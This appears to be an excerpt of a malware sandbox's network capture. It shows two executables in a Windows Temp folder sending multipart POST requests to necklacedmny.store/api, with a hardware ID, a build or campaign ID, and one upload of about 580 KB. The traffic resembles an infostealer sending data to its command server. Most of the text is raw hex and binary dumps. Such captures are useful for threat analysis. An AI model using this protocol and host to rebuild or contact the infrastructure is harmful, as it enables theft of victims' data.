00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 22:38:51 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v58h1tgd1sm6u74u52k1gp44v2; expires=Mon, 24-Feb-2025 16:25:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U4HNpiTgbc%2FpWm2UGRYd1NocPqhgZuKf9yIc2JxIoKbbMNLzrI9iY1OQQDQhwRifG%2FPFVaY6prftd6rwgUfO%2FuUi%2BVrDmsuLpUWZi00K2sqaon%2BShO2FhWIfYVZbtUvkMSxJVeQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723403e67e96a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1367&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2065620&cwnd=250&unsent_bytes=0&cid=f8748623749811da&ts=555&x=0"
2024-10-31 22:38:51 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50074	188.114.97.3	443	6424	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:51 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1369 Host: necklacedmny.store
2024-10-31 22:38:51 UTC	1369	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:51 UTC	1022	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=76pdpinmv6p60ika81kj7qd9ba; expires=Mon, 24-Feb-2025 16:25:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lgxGwfysKXcB%2BC75b2XJk48LDgaFN1ZC7lulBM1Sd3v%2BbaByrK3r%2FXCccU8FWAXHLNWkir9Cz45jbcGAUK2C%2FWQg%2F6xsWToyXRqneVY%2Buoeub6AJsEAMnauCQoKLCJV4SIPO8%2FA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db72343aae0eadd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1243&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2288&delivery_rate=2229407&cwnd=251&unsent_bytes=0&cid=3f4326d89b6ccdb6&ts=600&x=0"
2024-10-31 22:38:51 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50077	188.114.97.3	443	3264	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:51 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 580925 Host: necklacedmny.store
2024-10-31 22:38:51 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:51 UTC	15331	OUT	Data Raw: 3c 22 3f 38 5f 37 62 fd 73 47 b3 4f d5 60 e0 db 76 71 25 eb 7a 8c a4 5e 3d 46 c5 cf 8a b2 b8 fc b9 0f ea 94 d9 b1 08 ec 5d 55 d1 82 42 94 e8 8c 1a fa 16 26 00 0e 87 7d 9e 06 a8 dc 45 69 97 bd f9 2d 89 c6 b9 ef 6e d3 d6 76 0c c8 c7 fb 57 a0 19 75 f3 7f 05 46 44 38 63 fa a6 38 26 69 3c 0b 4d 42 86 05 51 e6 2e 10 97 9f d6 19 ab 72 18 d3 1f 7e 31 67 6c b0 20 01 be 45 0a 27 4c 88 81 4b d2 19 e6 61 d0 dc 52 89 4f bd 9d 8c bf c2 92 5d e4 f1 b0 c4 2a e9 09 5b 01 ef 9a 1d 39 e8 f8 28 71 62 2b 19 65 1c d7 e1 14 13 9d ba 91 65 11 c8 16 dd 75 e0 e4 f9 23 2e 35 7c fb a8 79 1a 4f f8 9a 74 d2 3d 05 6d 55 98 be f8 5b 92 40 31 6c be d9 11 82 db 8f fb 3b 07 64 0d 17 3c f7 9e b4 f8 e5 3f 56 7b 06 03 54 7e d7 64 b0 8b 30 8b 56 f6 41 e9 5b 63 e5 93 52 00 81 ce 43 c9 8c 3b 87 Data Ascii: <"?8_7bsGO`vq%z^=F]UB&}Ei-nvWuFD8c8&i<MBQ.r~1gl E'LKaRO]*[9(qb+eeu#.5\|yOt=mU[@1l;d<?V{T~d0VA[cRC;
2024-10-31 22:38:51 UTC	15331	OUT	Data Raw: 52 01 05 1b 83 81 a7 d7 0a 85 29 81 9c 6b f7 08 8c dd 27 bb da 54 8d d0 ed 77 64 7c 70 1c 16 c7 15 22 b4 4a 82 8b 3d 65 99 d6 98 5a 37 2a 6c 1a 27 6c 5a 99 d7 4a ae 35 56 c3 8c 1a 1c d7 8b 33 fe b7 67 99 d6 1c 6e 13 3e fb da 26 37 57 1c a2 ee 20 c4 4b 46 4d 6e 47 dd 78 3c 15 b1 fc 64 a4 e4 c9 8d aa fe a1 5b 03 b4 b2 29 36 b9 5d 4a d0 4b 12 9c ed 1d 5c 97 3b 32 75 96 a7 11 0f 9f 7e e8 ce f2 96 00 cc 2d c5 ca fe 12 de a1 75 76 ed 35 88 a0 cb a8 e9 7d 64 de 29 c8 2c 6c 35 29 87 b2 5f d1 1f f9 30 1f 19 58 fb af 68 31 04 80 8c 27 6e dc 8b 59 20 00 62 d9 48 25 2d e4 c9 81 7c 91 f9 79 88 a9 25 00 9a 7f 67 2f 48 e5 1c f9 fd 2e 76 01 55 34 1d e9 44 c5 f2 b0 16 b1 cf 43 69 14 81 aa 38 bd 3e 0c 40 2d 75 4c 65 f9 f3 f6 cd ac bf f1 e4 1b 2f 97 6b 01 82 57 49 67 81 d9 Data Ascii: R)k'Twd\|p"J=eZ7*l'lZJ5V3gn>&7W KFMnGx<d[)6]JK\;2u~-uv5}d),l5)_0Xh1'nY bH%-\|y%g/H.vU4DCi8>@-uLe/kWIg
2024-10-31 22:38:51 UTC	15331	OUT	Data Raw: e0 85 14 12 f1 5a 02 25 9d 44 83 61 d3 7f 4d 15 92 9f a0 92 83 9a a3 7d 69 65 7a 4c 24 45 82 ff a0 fa fe b5 de e4 40 3e 58 a5 28 d4 e5 7c c9 9b fe e8 0c 73 39 67 cb d5 65 5d 6d b0 8a 93 04 1f 9c d4 eb 07 45 06 d3 3c 60 ed b7 fe 2b f2 fc 08 ff 4f 0a d5 1d 3a 41 36 64 99 91 1c 64 c1 b4 67 b4 42 1a a2 57 85 ed a5 40 27 f2 34 fd f6 f3 4e de c2 4e e7 3b fe 36 3b 27 72 87 6d 63 7a 02 f4 aa d3 54 e4 13 e1 9b 00 94 4f 47 da b3 e7 53 04 35 ec bf e2 95 25 85 c5 fb c4 9d 62 8d 91 ff 58 db b2 f6 a3 23 65 7f 2d ca f1 99 d9 97 ef db f0 ed 32 4e a0 d8 75 9b c5 b7 56 ab 37 bd 13 2c 37 fe da f3 75 a4 a9 cc ed 24 3b d6 ad db 86 c9 4d 63 3d 5f 68 49 55 00 69 1d f9 71 4e 48 86 0f 48 c4 e4 8f ab ec 46 7b e0 85 23 72 42 2e f3 fc 01 27 41 01 8b 77 f6 b0 51 af 04 38 6e fa e5 73 Data Ascii: Z%DaM}iezL$E@>X(\|s9ge]mE<`+O:A6ddgBW@'4NN;6;'rmczTOGS5%bX#e-2NuV7,7u$;Mc=_hIUiqNHHF{#rB.'AwQ8ns
2024-10-31 22:38:51 UTC	15331	OUT	Data Raw: 25 1f 71 60 5f 2a bf 37 22 73 93 2a b2 f3 66 d3 5a 41 3e 37 b6 f2 dd c0 63 82 03 a6 c8 cf 24 44 6e 23 bb a6 b5 58 8f 93 3d c4 c3 2d 81 65 a1 3c 41 0e ca cf 9e 38 d4 85 0d a1 4e dc ab e8 97 4d 8e 8c c3 86 5d 22 65 a7 91 3f 88 ea 94 dd 15 ef 56 16 6c d0 74 68 7c 90 f7 2c c5 c6 ad a0 92 4f 78 f0 87 68 1b e5 63 d4 49 b7 e7 21 fc c3 fb 84 f0 07 73 27 b8 da 2c b4 0b ba 38 9a a5 66 61 57 51 b3 47 f1 eb bc 9f eb c7 99 bc a3 52 9e e0 03 02 41 09 16 12 90 03 32 38 2e 76 94 d9 71 bb 83 43 fd 75 83 fb 67 88 cb 2f 31 68 4a 86 63 3e c5 a3 dc 39 4b 80 84 46 96 20 40 41 08 b8 0d d8 f6 3b 56 47 e9 bc b1 0c e1 7f 2b 88 69 3c 20 c7 92 aa fd 77 29 71 95 1a 1b b7 5c 61 7f 85 b5 03 81 ac 59 50 22 ad 4d be c6 8e ef 6c b8 1d bd f0 8d 0f f4 21 03 1e 6c 96 49 03 af 17 ec 19 fe 8c Data Ascii: %q`_7"sfZA>7c$Dn#X=-e<A8NM]"e?Vlth\|,OxhcI!s',8faWQGRA28.vqCug/1hJc>9KF @A;VG+i< w)q\aYP"Ml!lI
2024-10-31 22:38:51 UTC	15331	OUT	Data Raw: 1e ef 2e 17 f7 36 41 f3 fc ae 86 8b 94 2a 74 99 50 9a af 8b 00 46 1d 94 de 20 3f 8a 6b 61 2e 45 79 d4 71 a4 aa f6 69 66 6a ad a2 45 85 22 16 9d 86 00 ed 02 3c 1c 63 22 12 8c 96 48 b9 47 dd d3 a7 16 de 75 2b 01 e6 69 f8 fe 8f 41 f2 d8 ed 92 e9 0d 29 b1 bc d0 45 d2 3b 62 7e da 63 b6 31 75 37 be 46 ab bf c2 d7 6d 6d 6b b6 c8 cc e1 98 f7 bd c0 1a ae 7d a9 5f 47 94 47 8f f7 87 e3 d5 07 39 7f 97 b2 e6 a4 91 dc fa 9b 27 42 eb 6e 17 50 9b 66 5a f3 9c 87 f6 02 7a ab 7e c4 04 5d 81 48 cf e4 2d 3d cd 68 43 b1 bf c5 72 19 cd 26 35 73 e9 46 fa 75 45 03 7c bf bf a2 41 c9 17 62 c2 60 96 08 59 09 3d 85 65 62 09 f9 63 11 9c 09 34 df c5 ab 4f d3 7c ee 9e 2a 1e 10 7b 10 c9 2c b9 ee b6 87 f2 6f 61 9f ce 3b 59 1f 60 2b 8c c3 62 e1 91 82 60 9d 25 1e 9e da 3e 41 f6 4d 31 a1 b8 Data Ascii: .6AtPF ?ka.EyqifjE"<c"HGu+iA)E;b~c1u7Fmmk}_GG9'BnPfZz~]H-=hCr&5sFuE\|Ab`Y=ebc4O\|{,oa;Y`+b`%>AM1
2024-10-31 22:38:51 UTC	15331	OUT	Data Raw: f7 5f c8 2a e7 f6 c3 55 ff 32 8c df 73 eb b7 22 72 50 4b 5d 58 ad 17 0a 33 ec dc f1 36 c9 e8 f6 fd b8 0a 6c 93 8b f3 e9 34 72 ca 92 e5 24 eb 8a 5b ed 1b c3 2e 15 7a ee 92 01 e7 37 96 23 a3 83 54 8e bd a3 35 be 88 da e8 d8 cc 5b 20 99 18 87 bf 9c 02 e8 18 15 d0 c5 d4 88 09 88 32 f2 66 bc 40 a5 50 8a cd 67 40 17 63 0a 08 1e 05 0e a9 59 f0 40 10 34 5d e5 4c 4d a9 cc 59 c7 65 9b 18 19 e6 09 d1 54 01 19 32 a4 91 90 e4 82 0e 84 ed 5d 57 e2 37 13 9f 80 7b 0c 5b b4 09 b1 f9 27 61 52 ec f4 78 ad 38 20 42 99 d1 21 f1 ef 15 4b 7b 8d 8d a2 8c 04 78 40 40 79 41 ab e1 cd 8f da 63 c8 d3 da 59 26 e4 8c 59 f7 dc 86 98 78 3c 2b d8 62 20 6a 48 f1 9b e6 4f 31 82 49 ed ae fe ea 76 94 36 8c 27 d1 bd 48 32 cd 10 03 d9 be 09 9f 32 da 3b 8b fc 2c 4b ce 4c 18 7d 59 68 1a b6 a3 04 Data Ascii: _*U2s"rPK]X36l4r$[.z7#T5[ 2f@Pg@cY@4]LMYeT2]W7{['aRx8 B!K{x@@yAcY&Yx<+b jHO1Iv6'H22;,KL}Yh
2024-10-31 22:38:51 UTC	15331	OUT	Data Raw: 82 d2 14 3f eb 31 44 cd da 7c 87 3a db 26 b1 e4 da 58 10 f6 e5 9e dd 66 62 dd d0 47 28 30 cf c9 a6 02 25 e3 ee 58 fc 1c da d1 cb 5a a8 c3 b7 9f 7e 76 2f 41 21 66 8b ee ba 30 6c f7 a5 f6 71 c9 93 36 ee f7 7f 90 d2 48 42 66 f5 e9 cc d0 03 59 fc 4d a3 fb 72 1b dc 90 90 0f 2f 83 3f a8 4b 7d b3 25 a8 56 bf 8d 3b 86 fa c2 10 e0 7c 39 b4 59 b0 37 f3 80 a9 74 90 d1 ea 6d f6 20 56 9c b4 a8 6f e9 c9 65 bf df 8b 32 68 68 94 b3 fc 5e 92 31 fc c0 7d ef c8 7f 93 75 9b 27 33 39 95 a1 3c ac f0 77 cf 38 27 fa c3 f0 b9 cf 61 13 3f 46 c3 ab 0f fa 58 8e d8 86 29 f5 4e 2e fc c2 01 c4 9e cd 32 a3 a5 fb 63 b2 6d e3 8a 11 93 96 4e 19 6d c1 93 37 36 0f 30 4e d5 70 4b 19 7a 4b e5 d5 d5 d4 51 26 20 1f cf 36 9c 0a ab 61 f6 71 07 eb 87 c3 5b 0f fc 76 4a 56 7b 32 4b ad 3d 15 22 44 fa Data Ascii: ?1D\|:&XfbG(0%XZ~v/A!f0lq6HBfYMr/?K}%V;\|9Y7tm Voe2hh^1}u'39<w8'a?FX)N.2cmNm760NpKzKQ& 6aq[vJV{2K="D
2024-10-31 22:38:51 UTC	15331	OUT	Data Raw: 2e 75 1f a2 42 d0 f0 e1 45 f7 8e 6f fc 0c 2f 39 38 15 a3 b3 d6 73 43 91 fa 01 14 f5 cb 32 da 23 10 d5 56 7b 89 33 80 c8 5d 65 8c f6 78 72 d5 55 40 1c 2d dc cb 79 fc 77 0c 0d 15 61 90 04 b7 5c 1b d7 aa 62 bd 05 ad 24 5b 08 f0 ae 07 59 75 11 2e d2 f5 b4 92 35 f1 8c e4 97 37 58 2f f8 8a 2e 9a a6 2e b1 df 69 d6 e9 21 66 f4 7e 39 53 40 98 34 6b ef 28 f7 99 a8 bd 9a 5e 73 19 29 f4 47 a9 28 b5 af d3 e2 b0 4b e7 fc 79 0e bb 82 81 99 af 64 fc e6 67 03 72 3d 5d 7b f2 eb d2 e9 21 f3 9b 1f 83 af 5a 11 59 eb 52 91 ce 05 99 66 74 29 e8 37 9b 94 80 d9 d4 29 32 85 df 8f 1f 55 ac 8c 0e 4f 83 dc ba 14 aa 06 c3 07 7f 40 1a c8 f6 da bb c5 1c ea 69 cd b8 50 7c 35 e5 0b 94 c7 b0 96 83 a3 10 7c 62 f8 9a 99 06 2e 0e 9e 8c f1 fd 89 48 8b 84 3d 38 1d f6 1a 39 55 4a 9c 22 1b 1b d6 Data Ascii: .uBEo/98sC2#V{3]exrU@-ywa\b$[Yu.57X/..i!f~9S@4k(^s)G(Kydgr=]{!ZYRft)7)2UO@iP\|5\|b.H=89UJ"
2024-10-31 22:38:51 UTC	15331	OUT	Data Raw: 46 d2 be 87 27 1b bd da 24 7e da af cf fb 4c 21 46 7a f6 91 34 95 85 b1 0e 70 1a d9 13 18 fe a4 9c 56 33 c2 b1 cf 37 1c c0 a1 fb fd bf 41 65 d3 a5 e6 97 e2 ed ab 89 85 43 78 d9 c8 e2 a2 27 7b 50 2c c9 ad bd 8d c8 ba 03 c7 42 de 90 44 43 ba 1f d2 16 06 72 1f 53 8a 46 f7 2c db e0 e7 5b a1 da 87 5e 83 6f aa 58 0d d7 32 43 ea 32 bb 40 77 df c1 67 d5 2e 43 20 ac 9b 80 01 13 91 93 b3 0f f9 05 8d 80 c1 a7 af bc 5d 02 75 01 c7 ec 97 e6 74 ea c3 e5 c8 a5 39 84 2f b1 ae 7a 59 bc ad 3c e6 19 0e de b2 eb 70 55 ac 62 e7 db da 07 a1 43 21 cc bc dd 3c 27 18 e6 76 99 fe 6b 57 30 fd bf 92 94 a0 ea 26 52 09 74 b4 52 12 35 d7 a0 0f 6d d5 4c 93 10 46 7c d0 56 45 ed 1c ab 55 68 5e fd e7 76 f3 a9 af de 2a 88 78 29 7a 69 e7 3a ec c7 7b 49 ae c8 aa 3f 22 7e e9 0f c4 09 cd b8 70 Data Ascii: F'$~L!Fz4pV37AeCx'{P,BDCrSF,[^oX2C2@wg.C ]ut9/zY<pUbC!<'vkW0&RtR5mLF\|VEUh^v*x)zi:{I?"~p
2024-10-31 22:38:53 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2foh28bvh4h8citlaafba32r8v; expires=Mon, 24-Feb-2025 16:25:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NofhZieeEOxxCMd6MQw9XSUxfkPYIz%2BFdo%2F7194U8GmW91Te9SU4X4LiAOk6j36UDQtrpNNXrnbdRA1RrEsBAFhXIsDRKgcp5dMSEkcSDGCRu4m2urVML4krxV6E5vIe%2FHItb2o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db72344d8992cc9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1542&sent=221&recv=622&lost=0&retrans=0&sent_bytes=2845&recv_bytes=583496&delivery_rate=1834072&cwnd=251&unsent_bytes=0&cid=032d6aa474c5b56a&ts=1576&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50101	188.114.97.3	443	3264	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:54 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 22:38:54 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=1B3CE24BA149BC22D8DDEF3DF61EFD84
2024-10-31 22:38:55 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fnbvq6q71hbeot9f1k2f81f5m7; expires=Mon, 24-Feb-2025 16:25:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wac%2FBjnH%2FamZt9izw9UM712c%2FGS2mBkIodyk6l4Z5T8f%2BjajHlCX6dDnxTLj095Aev1RET%2Ftlorb8ARkZ5VgM2ReW9EfesEfmDBSWzweFMNGhTKQoYMJaI9iH1h9PQTh8La%2Fmlc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723596befe867-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1328&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=2164424&cwnd=251&unsent_bytes=0&cid=a66c54f3a0712e84&ts=497&x=0"
2024-10-31 22:38:55 UTC	214	IN	Data Raw: 64 30 0d 0a 37 6c 71 46 4d 66 4f 76 55 53 2f 41 72 78 51 69 65 54 34 6e 70 31 6c 65 4a 34 33 63 6f 77 54 54 36 58 51 70 4d 62 4d 32 53 58 53 31 49 61 64 45 30 5a 56 7a 52 37 54 62 5a 42 67 6c 45 58 75 49 61 47 59 53 6f 2b 36 53 4d 66 33 59 52 52 6f 66 67 67 41 56 57 34 45 38 34 32 33 63 79 7a 52 4a 37 73 70 73 52 31 73 53 42 63 45 74 66 42 32 39 38 49 46 68 38 64 4e 45 56 42 33 49 46 44 78 57 31 48 6a 74 52 59 66 66 61 33 50 76 38 7a 73 54 51 51 73 4a 6c 57 68 72 43 62 7a 74 6b 43 72 69 33 79 67 47 58 4e 70 59 4c 43 6a 42 4b 4f 52 66 6c 38 41 38 41 61 58 58 63 51 42 56 48 45 48 54 65 32 51 58 6f 66 37 47 4a 75 6e 5a 43 58 51 3d 0d 0a Data Ascii: d07lqFMfOvUS/ArxQieT4np1leJ43cowTT6XQpMbM2SXS1IadE0ZVzR7TbZBglEXuIaGYSo+6SMf3YRRofggAVW4E8423cyzRJ7spsR1sSBcEtfB298IFh8dNEVB3IFDxW1HjtRYffa3Pv8zsTQQsJlWhrCbztkCri3ygGXNpYLCjBKORfl8A8AaXXcQBVHEHTe2QXof7GJunZCXQ=
2024-10-31 22:38:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50109	188.114.97.3	443	6424	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:55 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20564 Host: necklacedmny.store
2024-10-31 22:38:55 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:55 UTC	5233	OUT	Data Raw: 29 89 6d 31 25 76 97 a1 57 9d 99 7a 6f 46 c3 cb 44 31 f3 27 4a 5d e5 23 e7 9e b4 fa e8 e8 74 82 78 7c bd 84 b2 6d 71 57 4d a4 2a e5 b8 15 a4 28 dc 08 14 b7 d2 bb 9e 59 7d 9c d7 e1 42 7a 82 ac 9e b5 aa 73 d7 72 76 dd 1e 57 1b d2 70 28 1d 4c d9 88 b2 14 de 7f 14 48 ab 75 e5 37 18 cb b5 b8 4a e2 2b cf 03 fe 86 c9 db e2 46 1e 7a 9f ad da 31 df a2 0f 51 5b 29 6b 93 68 f7 7f 7f b7 1c 98 17 b9 83 44 4c 35 44 7e 26 72 3b 70 27 9c 8c d8 c3 07 68 91 5a 52 50 c1 3c 70 59 a8 4f 0a ac 24 74 fd 68 8e 42 b5 89 59 b7 36 64 98 75 2f 5b e7 28 64 a0 8b a5 23 10 df 1b ce c9 42 e4 ea e8 35 a3 f7 f1 b7 de cc 09 5b 2c 8a 00 d5 2a c6 37 41 c4 9a bc ee 85 26 c7 61 c1 11 7d 1d 3a c9 0f d6 02 f5 5d 2c 45 06 32 f6 f3 bd de 20 00 d9 f6 38 94 43 27 e3 4c 9b 76 8d 53 95 85 e8 ea c4 90 Data Ascii: 